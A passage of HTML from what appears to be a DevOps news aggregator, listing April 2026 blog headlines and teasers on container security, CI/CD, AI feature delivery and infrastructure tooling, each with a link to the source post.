          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-its-here-meet-the-new-ibm-apptio-report-studio-a-faster-more-intuitive-approach-to-reporting"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Last month, we shared our vision for modernizing reporting across IBM Apptio, focused on reducing friction and helping teams more effectively communicate financial insights and the business value of t</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Kubecost Blog</strong></p>
<p><a href="https://www.apptio.com/blog/its-here-meet-the-new-ibm-apptio-report-studio-a-faster-more-intuitive-approach-to-reporting/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pg_datasentinel-10-released" class="group relative scroll-mt-24">
        <a href="#h3-pg_datasentinel-10-released" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 pg_datasentinel 1.0 released
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pg_datasentinel-10-released"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>pg_datasentinel - Observability extension for PostgreSQL We are pleased to announce the first release of pg_datasentinel. Source: <a href="https://github.com/datasentinel/pg_datasentinel">https://github.com/datasentinel/pg_datasentinel</a> Features Extended acti</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pg_datasentinel-10-released-3271/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-workloads-are-containerized-workloads" class="group relative scroll-mt-24">
        <a href="#h3-ai-workloads-are-containerized-workloads" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI Workloads Are Containerized Workloads
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-workloads-are-containerized-workloads"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI workloads are no longer experimental projects running in isolated environments. They are now business-critical systems powering recommendations, search, automation, analytics and generative AI appl</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/ai-workloads-are-containerized-workloads/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-simplifying-egress-routing-to-wildcard-destinations" class="group relative scroll-mt-24">
        <a href="#h3-simplifying-egress-routing-to-wildcard-destinations" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Simplifying Egress Routing to Wildcard Destinations
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-simplifying-egress-routing-to-wildcard-destinations"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Overview Controlling egress traffic is a common requirement in service mesh deployments. Many organizations configure their mesh to allow only explicitly registered external services by setting: meshC</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 Istio Blog</strong></p>
<p><a href="https://istio.io/latest/blog/2026/egress-dynamic-dns/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-reclaim-developer-hours-through-smarter-vulnerability-prioritization-with-docker-and-mendio" class="group relative scroll-mt-24">
        <a href="#h3-reclaim-developer-hours-through-smarter-vulnerability-prioritization-with-docker-and-mendio" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Reclaim Developer Hours through Smarter Vulnerability Prioritization with Docker and Mend.io
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-reclaim-developer-hours-through-smarter-vulnerability-prioritization-with-docker-and-mendio"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We recently announced the integration between Mend.io and Docker Hardened Images (DHI) provides a seamless framework for managing container security. By automatically distinguishing between base image</p>
<p><strong>📅 Apr 8, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/reclaim-developer-hours-through-smarter-vulnerability-prioritization-with-docker-and-mend-io/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-secure-what-matters-scaling-effortless-container-security-for-the-ai-era" class="group relative scroll-mt-24">
        <a href="#h3-secure-what-matters-scaling-effortless-container-security-for-the-ai-era" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Secure What Matters: Scaling Effortless Container Security for the AI Era
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-secure-what-matters-scaling-effortless-container-security-for-the-ai-era"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Announcing Snyk Container Registry Sync GA for automated image management and runtime intelligence. Scale container security effortlessly for the fast-paced AI era.</p>
<p><strong>📅 Apr 7, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/scale-container-security-effortlessly/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cicd" class="group relative scroll-mt-24">
        <a href="#h2-cicd" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔄 CI/CD
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cicd"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-shipping-genai-is-messy-poka-made-it-manageable" class="group relative scroll-mt-24">
        <a href="#h3-shipping-genai-is-messy-poka-made-it-manageable" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Shipping GenAI is messy; Poka made it manageable
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-shipping-genai-is-messy-poka-made-it-manageable"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Poka tests, tweaks, and ships GenAI features in real time without redeployment.</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/poka-made-shipping-ai-manageable/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-catch-and-revert-ai-failures-in-production-automatically" class="group relative scroll-mt-24">
        <a href="#h3-catch-and-revert-ai-failures-in-production-automatically" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Catch and revert AI failures in production (automatically)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-catch-and-revert-ai-failures-in-production-automatically"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Detect and revert risky GenAI changes—before users have a chance to notice them.</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/catch-and-revert-ai-failures-in-production/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-auto-generating-openapi-documents-with-typescript-interfaces" class="group relative scroll-mt-24">
        <a href="#h3-auto-generating-openapi-documents-with-typescript-interfaces" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Auto-generating OpenAPI documents with TypeScript interfaces
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-auto-generating-openapi-documents-with-typescript-interfaces"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>📅 Apr 13, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/auto-generating-openapi-documents-with-typescript-/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-copilot-cli-for-beginners-getting-started-with-github-copilot-cli" class="group relative scroll-mt-24">
        <a href="#h3-github-copilot-cli-for-beginners-getting-started-with-github-copilot-cli" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub Copilot CLI for Beginners: Getting started with GitHub Copilot CLI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-copilot-cli-for-beginners-getting-started-with-github-copilot-cli"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>GitHub for Beginners: Getting started with the GitHub Copilot CLI, a step-by-step tutorial. The post GitHub Copilot CLI for Beginners: Getting started with GitHub Copilot CLI appeared first on The Git</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/ai-and-ml/github-copilot/github-copilot-cli-for-beginners-getting-started-with-github-copilot-cli/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-availability-report-march-2026" class="group relative scroll-mt-24">
        <a href="#h3-github-availability-report-march-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub availability report: March 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-availability-report-march-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In March, we experienced four incidents that resulted in degraded performance across GitHub services. The post GitHub availability report: March 2026 appeared first on The GitHub Blog.</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/news-insights/company-news/github-availability-report-march-2026/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-5-ways-gitlab-pipeline-logic-solves-real-engineering-problems" class="group relative scroll-mt-24">
        <a href="#h3-5-ways-gitlab-pipeline-logic-solves-real-engineering-problems" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 5 ways GitLab pipeline logic solves real engineering problems
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-ways-gitlab-pipeline-logic-solves-real-engineering-problems"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most CI/CD tools can run a build and ship a deployment. Where they diverge is what happens when your delivery needs get real: a monorepo with a dozen services, microservices spread across multiple rep</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/5-ways-gitlab-pipeline-logic-solves-real-engineering-problems/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-assertions-why-deterministic-testing-fails-for-chatbot-v" class="group relative scroll-mt-24">
        <a href="#h3-ai-assertions-why-deterministic-testing-fails-for-chatbot-v" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI Assertions: Why Deterministic Testing Fails for Chatbot V
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-assertions-why-deterministic-testing-fails-for-chatbot-v"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Deterministic frameworks fail at testing AI chatbots. Learn why you need AI Assertions for reliable chatbot validation, preventing hallucinations, prompt injection, and consistency errors at scale. | </p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/testing-ai-with-ai"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-connected-engineering-platforms-critical-for-the-next-genai" class="group relative scroll-mt-24">
        <a href="#h3-connected-engineering-platforms-critical-for-the-next-genai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Connected Engineering Platforms Critical for the Next GenAI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-connected-engineering-platforms-critical-for-the-next-genai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI in engineering is only as powerful as the context it can access. Learn why connected platforms, not isolated tools, will define the next generation of AI-driven software delivery. | Blog</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/why-connected-platforms-will-power-the-next-generation-of-ai-in-engineering"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-universe-is-back-we-want-you-to-take-the-stage" class="group relative scroll-mt-24">
        <a href="#h3-github-universe-is-back-we-want-you-to-take-the-stage" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub Universe is back: We want you to take the stage
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-universe-is-back-we-want-you-to-take-the-stage"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Get inspired by five of the most memorable, magical, and quirky Universe sessions to date. The post GitHub Universe is back: We want you to take the stage appeared first on The GitHub Blog.</p>
<p><strong>📅 Apr 8, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/news-insights/company-news/github-universe-is-back-we-want-you-to-take-the-stage/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-bazel-q1-2026-community-update" class="group relative scroll-mt-24">
        <a href="#h3-bazel-q1-2026-community-update" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Bazel Q1 2026 Community Update
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-bazel-q1-2026-community-update"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Announcements Mark Your Calendars: BazelCon 2026 is Heading to Amsterdam! Get ready to build at scale in the heart of Europe. We are thrilled to announce that BazelCon 2026 will be taking place in the</p>
<p><strong>📅 Apr 8, 2026</strong> • <strong>📰 Bazel Blog</strong></p>
<p><a href="https://blog.bazel.build/2026/04/08/bazel-q1-2026-community-update.html"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-streamline-test-management-with-the-smartbear-qmetry-gitlab-component" class="group relative scroll-mt-24">
        <a href="#h3-streamline-test-management-with-the-smartbear-qmetry-gitlab-component" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Streamline test management with the SmartBear QMetry GitLab component
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-streamline-test-management-with-the-smartbear-qmetry-gitlab-component"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In modern software development, test management and continuous integration are two sides of the same coin. DevSecOps teams need seamless integration between their CI/CD pipelines and test management p</p>
<p><strong>📅 Apr 7, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/streamline-test-management-with-the-smartbear-qmetry-gitlab-component/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pipeline-security-lessons-from-march-supply-chain-incidents" class="group relative scroll-mt-24">
        <a href="#h3-pipeline-security-lessons-from-march-supply-chain-incidents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Pipeline security lessons from March supply chain incidents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pipeline-security-lessons-from-march-supply-chain-incidents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Note: The GitLab product did not use any of the compromised package versions mentioned in this post. In the span of 12 days, four separate supply chain attacks revealed that continuous integration and</p>
<p><strong>📅 Apr 7, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/pipeline-security-lessons-from-march-supply-chain-incidents/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-iac" class="group relative scroll-mt-24">
        <a href="#h2-iac" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🏗️ IaC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-iac"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-amazon-cloudwatch-pipelines-now-supports-drop-and-conditional-processing" class="group relative scroll-mt-24">
        <a href="#h3-amazon-cloudwatch-pipelines-now-supports-drop-and-conditional-processing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon CloudWatch pipelines now supports drop and conditional processing
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-cloudwatch-pipelines-now-supports-drop-and-conditional-processing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon CloudWatch pipelines now supports conditional processing and a new drop events processor, giving you more control over how your log data is transformed. CloudWatch pipelines is a fully managed </p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/amazon-cloudwatch-pipelines-conditional/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-planning-your-upgrade-path-to-ansible-automation-platform-26" class="group relative scroll-mt-24">
        <a href="#h3-planning-your-upgrade-path-to-ansible-automation-platform-26" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Planning your upgrade path to Ansible Automation Platform 2.6
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-planning-your-upgrade-path-to-ansible-automation-platform-26"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
